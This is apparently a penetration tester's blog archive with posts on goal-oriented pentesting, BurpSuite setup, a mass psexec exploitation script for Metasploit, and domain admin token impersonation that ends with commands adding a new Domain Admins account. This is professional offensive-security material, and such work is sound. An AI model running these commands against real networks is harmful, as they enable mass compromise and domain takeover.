Security Justice Episode 26 – “I can replace this podcast with one line of Perl”

August 4, 2010

Back in early July, I was ask to make an appearance on the Security Justice podcast to discuss some of my projects (Fierce v2, Goal Oriented Pentesting and SQL Injection). Security Justice Episode #26.

It was pretty epic and we defiantly went off-topic, but it was a ton of fun.

“I can replace this podcast with one line of Perl!”

Worth a listen. Let me know what you think.


Sans Pentest Summit 2010 – Goal Oriented Pentesting

August 4, 2010

Back in June, I was in Baltimore for the SANS Pentest Summit 2010. I really enjoyed this conference, since it provided the opportunity to chat with many people that are working on ways to improve the penetration testing process. At the conference, I presented the Goal Oriented Pentesting theory that I have been talking about for a while(first post, second post) The talk expanded upon the original theories by incorporating specific methods which provided criteria for anyone that is looking to implement Goal Oriented Pentesting in their security assessments. I also included examples from several security assessments that I have performed (external pentesting, internal pentest and web app audit) so that attendees would be able to use these goals a guide in the future.

The slides from the talk can be found here.

What else should be done to improve upon this? Let me know what you think!

SOA/Soap Presentation – Which title do you like best?

January 24, 2010

Bootstrap Targets in BurpSuite

January 7, 2010

BurpSuite is by far, my favorite web application proxy. There is a limitation that I have found a unique way around, so I figured I would share it with everyone. BurpSuite does not have an easy way to import a list of targets when starting a web application assessment. Obviously, you can browse to the web applications using a browser, but this is time consuming. So we need a better way.

All that is needed is a method to make requests that pass through the proxy. So we can use LWP::UserAgent. Nmap is always helpful for finding open ports, so we can use that to speed things up as well. Nmap will find all of the web applications and then we can leverage Perl to populate BurpSuite’s target list.

First, we perform an nmap scan:sudo nmap -p 80,443 -sS -oX nmap-web.xml -PN

Now, we parse the output of the nmap scan and generate files that contain the web servers running on port 80/tcp and 443/tcp. I have written a Perl script to parse nmap XML files. This script can be found here. Using this script we simply execute:
perl -f nmap-web.xml -p 80 > 80-tcp.txt
perl -f nmap-web.xml -p 443 > 443-tcp.txt

Now, we just need to import each file and perform a request for each web application. The key is that we have BurpSuite listening locally, so that all of the requests will pass through the proxy. The script is called proxycrawl and it will populate the target list because it makes requests through the proxy. It can be found here.
perl -i 80-tcp.txt
perl -i 443-tcp.txt --ssl

After running this script, you should see all of the targets populated in BurpSuite and you are ready be begin your web application assessment.


Metasploit PSEXEC scanner (via Perl)

December 17, 2009

(01/14/09) Update: I built a script that can be found here.

Metasploit’s pexec module is one of my favorite modules. It does exactly what I need and it does it really well. One thing I wish that Metasploit had, is a scanner version of the psexec exploit module. So I decided to build my own with Perl.

Okay, assume we have the following networks:, etc etc… We know the local admin account is Administrator and the hash for the account is ADMINISTRATOR:HASH.

First, we build a small Perl script to generate a configuration file:

#!/usr/bin/perl -w
use strict;
print "use windows/smb/psexec\n";
print "set SMBUser Administrator\n";
print "set PAYLOAD windows/meterpreter/bind_tcp\n";
# first range
foreach(1.. 254) {
    print "set RHOST 192.168.1.$_\n";
    print "exploit\n";
    print "sleep 2\n";
# second range
foreach(1.. 254) {
    print "set RHOST 192.168.2.$_\n";
    print "exploit\n";
    print "sleep 2\n";

Once we have this script built, we simply execute it and save the result to a file named psexec.rc.

perl > psexec.rc

Lastly, we leverage Metasploit’s ability to execute commands passed into meterpreter via an resource file. Once Metasploit loads psexc.rc, it will execute all of the commands we generated using the Perl script. This basically gives us a nice way to create an exploit scanner.

msfconsole -r psexec.rc

Loading psexec.rc will exploit all of the systems within the networks specified and the result will be tons and tons of shells.


Hunting for Domain Admin Tokens

December 15, 2009

Penetration Assessments are a focused effort to accomplish one or more goals within a limited timeframe. It is often helpful to automate tasks to put time on your side. This is where a penetration tester who can code, really excels! Less time is wasted on mundane tasks. Automation is always key. Automating the tasks that should be automated. It is clear that there are specific tasks that can’t/shouldn’t be automated, but that is a topic for another post.

One nice example I have seen during several on-site assessments, is the need to find a machine with a Domain Admin’s token on it. The token can be impersonated to compromise the network. Finding the token can takes hours of manually work. I mentioned this to HD Moore he added a plugin to Metasploit that automates this process. To use this new functionality, we start by exploiting a ton of Windows boxes using meterpreter as the payload.

Next, we need to build a list of users that are within the Domain Admins groups. This list can be generated using:
net groups "Domain Admins" /domain

Example of the file:

We then need to load the token_hunter module in Metasploit and execute it. The token_hunt_user script will tell us which sessions contain a Domain Admin token.
msf> load token_hunter
msf> token_hunt_user -f /tmp/domain-admin.txt

To achieve Domain Admin privileges, we need to connect to a session that contained a Domain Admin token.
msf> sessions -i [session-with-domain-admin-token]

Once connected to the session, we then impersonate the Domain Admin and spawn cmd.exe with the admin’s privileges.
meterpreter> impersonate_token 'COMPANY\joe-admin'
meterpreter> execute -f cmd.exe -H -c -i -t

Lastly, we add a new account to the domain and add the account into the Domain Admins group.
C:\net user hack0r h4ck0r) /add /domain
C:\net group "Domain Admins" hack0r /add /domain

Enjoy it and Pwn dem v0hns!


Build a collage of your next pentest

December 12, 2009

Here is some code I wrote recently that will take a screenshot of all active metasploit sessions:

To leverage this code just copy the file into the plugins directory of metasploit v3. Then open up msfconsole and exploit several systems….

Finally, load the plugin and run the screenshot_all_sessions command:
msf> load screenshoter
msf> screenshot_all_sessions

All screenshots will be saved to disk. I have included the IP address in the filename to make things easier for data correlation.

Happy Holidays! Ph33r!


Metasploit 3.3 Released!

November 17, 2009

HD Moore and the entire Metasploit team have released Metasploit v3.3! I’m really excited to start using this new release as it provides tons of new features including: 123 new exploits, 117 new auxiliary modules, support for Vista and Windows 7, improved stability of Meterpreter, all applicable exploits now have OSVDB references, Meterpreter with colors and much much more! More details be be found within the Release Notes.

Download Metasploit v3.3 here

Enjoy Metasploit v3.3!

Goal Oriented Pentesting. The New Process for Penetration Testing (Part 2)

November 17, 2009

If you read my previous posting, you have an understanding of goal oriented pentesting. That being said, let’s assume for a second that the goal of a penetration assessment is to get access to sensitive information and that it is possible to achieve this goal in several different ways. Now the penetration testing team should be able to achieve this goal, but can they find all possible vectors? Not necessarily.

Without a testing methodology the team will likely reach a point of diminishing returns in which their efforts are not producing unique attack vectors for achieving the goal(s). The only way to ensure complete coverage of an application, is to use a testing methodology like the Full OWASP Testing Methodology.

The Full OWASP Testing Methodology is useful because it provides a comprehensive guide for techniques that can be used to identify risks within a web application by testing each component. Each component is tested in several different ways. Testing each component ensures that the application is tested fully. All penetration assessments should use both a goal oriented approach as well as a strong testing methodology. This will ensure that the assessment covers both depth and breadth.

Goal Oriented Pentesting – The New Process for Penetration Testing

November 16, 2009

Many people including network administrators and even security professional are confused by the penetration testing process. The penetration testing process is the process of identify and demonstrating risks to an organization. The key here is identifying and demonstrating risks. Demonstrating risks can be done in several different ways. One common method that administrators use to protect their network is to use vulnerability scanning solutions to automatically find vulnerabilities. The vulnerabilities are similar to risks; however automated solutions have no ability to put information in context. The process of manually testing and leverage vulnerabilities is what the penetration testing process is all about.

Okay great, you have 10 or 100 or 1000 vulnerabilities, now what? 1000 vulnerabilities don’t necessary mean a greater risk than 10 vulnerabilities because not all vulnerabilities pose the same risks. Many vulnerability scanning solutions contain risk rating in the vulnerability scanning reports. These risk rating are not the same as business risks because they do not directly demonstrate risks to the business. Vulnerabilities are potential risks that would need to be leveraged by an attacker to demonstrate business risk. That is where penetration testing comes in. Penetration testing is designed to demonstrate the business risks by leveraging vulnerabilities to achieve a level of access or gain access to data.

So what drives the penetration tester? How do they know what they want or what level of access is going to demonstrate the highest risks to the organization?

It comes down to a list of goals. Wikipedia defines a goal:

goal or objective is a projected state of affairs that a person or a system plans or intends to achieve – a personal or organizational desired end-point in some sort of assumed development. Many people endeavor to reach goals within a finite time by setting deadlines.

This is process is known as a goal-oriented penetration assessment. The goals are defined before the assessment begins and the penetration tester works to achieve the goals. Once a goal is achieved, the penetration testers should determine how many unique ways the goal can be achieved.

A few example goals for a penetration assessment:

  • Gain access to the internal network (remotely)
  • Gain access to credit-card information
  • Gain Domain Administrator access

Penetration testing is all about achieving goals and not about finding vulnerabilities. Enough said. Vulnerabilities are not the goal. Goals are the goal.